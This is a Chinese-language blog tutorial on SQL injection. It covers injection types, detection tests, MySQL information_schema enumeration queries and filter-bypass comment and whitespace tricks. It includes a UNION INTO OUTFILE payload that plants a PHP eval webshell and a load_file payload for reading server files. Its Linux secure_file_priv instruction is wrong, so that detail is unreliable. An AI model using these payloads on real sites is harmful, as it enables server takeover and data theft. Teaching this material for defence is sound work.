SQL基础知识

SQL注入定义

sql注入是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以构造不同的sql语句来实现对数据库的任意操作。可以进行数据查询、WebShell写入、命令执行等操作

SQL注入漏洞的产生必须满足两个条件:1 参数用户可控 2 参数带入数据库查询

SQL注入类型:

按数据库类型


Access、MsSQL、MySQL、Oracle、DB2等

按提交方式:

GET、POST、cookie、HTTP头、XFF

按注入点类型:

数字型、字符型、搜索型

按执行效果:

布尔盲注、时间盲注、报错注入、联合注入、堆叠查询注入

注入判断

当传入的参数为 1’ 时,数据库会执行以下代码,并会报错,因为这是不符合数据库语法规范的:
select * from users where id=1’
当传入的参数为and 1=1 时,不会报错,因为1=1为真,所以返回的页面是正常的;当传入的参数为and 1=2时,因为条件为假,所以会返回一个不同的结果:
select * from users where id=1 and 1=1 #条件为真,页面正常无变化
select * from users where id=1 and 1=2 #条件为假,页面异常或变化

SQL注入漏洞的危害:

数据库信息泄露:泄露数据库中存放的数据、用户隐私等
获取WebShell:当权限为root且知道绝对路径时,可以直接写一句话木马到服务器。
union select 1,“<?php @eval($_POST['cmd']);?>”,3 into outfile “X:\xx\xx.php”,也可以查询null值。
网页篡改:注入出后台管理员用户,登陆后台后发布恶意数据、篡改后台数据等。
网站挂马 : 当拿到WebShell或者获取到服务器的权限后,可将一些网页木马挂在服务器上,去攻击别人。
获取系统权限:当权限足够高时,可以获取系统主机的权限。
万能密码:利用特定的Payload登录后台或者其他页面。
文件读取:读取敏感文件。
union select 1,2,hex(loadfile(‘D:\phpStudy\PHPTutorial\WWW\x.php’))–+

SQL注入类型解释

布尔盲注(Boolean-based blind SQL injection)
即可以根据返回页面判断条件真假的注入。
时间盲注(Time-based blind SQL injection)
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
报错注入(Error-based SQL injection)
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
联合注入(UNION query SQL injection)
可以使用union的情况下的注入
堆查询注入(Stacked queries SQL injection)
可以同时执行多条语句的执行时的注入。

MYSQL注入知识点

在渗透中,目前主流站点的站点架构一般为APACHE+PHP+MYSQL,所以我们主要来学习下MySQL数据库中与SQL注入相关的知识点。
这里主要学习MySQL>=5.0版本之后的一个内置库 information_schema库。

在 MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。

在这个库中,和渗透相关的表有三个:
schemata表:存储该用户创建的所有的数据库库名,这里我们只需要记住SCHEMA_NAME这个字段。
tables表:存储该用户创建的所有的数据库库名和表名,这里我们只需要记住TABLE_SCHEMA和TABLE_NAME这两个字段。
columns表:存储该用户创建的所有的数据库库名、表名和字段名,这里我们只需要记住TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。

MySQL注入相关语句

查询当前数据库版本:select version();
查询当前数据库:select database();
查询当前路径:select @@basedir;
查询当前数据库用户:select user();
查询当前MySQL路径:select @@datadir;
查询服务器的系统版本:select@@Version_compile_os
查询数据库:select schema_name from information_schema.schemata;
查询表名:select table_name from information_schema.tables where table_schema=‘库名’ limit 0,1;
查询列名:select column_name from information_schema.columns where table_schema=‘库名’ and table_name=‘表名’ limit 0,1;

ascii()函数/ord()函数: 将某个字符串转化为ascii值
sleep()函数 : 网页延迟n秒后,输出结果
if()函数 条件判断函数
if(a,b,c)
: if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;
length()函数 : 返回字段/结果/函数的长度,length(column_name)
常用length(database()) 即返回当前数据库名长度
rand()函数 : 随机函数,返回0~1之间的某个值
floor(a) : 取整函数,返回小于等于a,且值最接近a的一个整数
count()函数 : 聚合函数也称作计数函数,返回查询对象的总数
locate()函数 : locate(str,string)返回str字符在string字符串中出现的位置,没有返回0
position()函数 : position(str in str)返回str字符在string字符串中出现的位置,没有返回0
instr()函数 : instr(string,str)返回str字符串在string中出现的位置,与locate相

concat_ws()/group_concat() 函数

使用分割符将一个或多个字符串连接成一个字符串,是concat()的特殊形式,第一个参数是其它参数的分隔符,分隔符的位置在连接的两个字符串之间,分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。

hex()&unhex()函数

hex对数据进行十六进制编码

substr()/substring()/mid()函数

此函数是用来截取字符串一部分

left()函数

left ( string, n ),string为要截取的字符串,n为截取的位数。

updatexml()函数

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

load_file()函数

load_file()函数是MySQL读取本地文件的函数

into outfile()函数

into outfile()函数是用来导出文件的。
用法示例:select “hello word” into outfile ‘C:/phpstudy/PHPTutorial/www/1.txt’;

关于secure_file_priv:

查询方法:show variables like ‘%secure_file_priv%’:
查询结果为:secure_file_priv NULL时,表示不允许导入导出
查询结果为:secure_file_priv /xxx/时,表示只允许在当前目录导入导出
查询结果为:secure_file_priv (空白)时,表示可以在任意目录进行导入导出

MySQL5.6.34版本以后 secure_file_priv的值默认为NULL。且无法用sql语句对其进行修改,只能够通过以下方式修改mysql.ini或 my.cn:
Windows:mysql.ini中添加secure_file_priv=
Linux:/etc/my.cnf的[mysqld]下面添加local-infile=0

注释符

在MySQL中,常见的注释符有以下几种:

–空格
//
内联注释符及特性:
/*!code */
内联注释符是一种基于注块注释衍生出来的注释风格,它可以用于整个SQL语句中,用来执行SQL语句,内联注释有个特殊点,和MySQL版本息息相关,也就是:当内敛注释中出现小于或等于当前版本号的时候,内联注释符里的子句会被执行,大于时则不会被执行,注意版本的写法,例如,5.5.34,在内敛注释中需要写为50534,版本号第二位加0。
常见的空格符号:
两个空格代替一个空格,用Tab代替空格,%a0=空格
%20 %09 %0a %0b %0c %0d %a0 %00 /
/ /!/

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值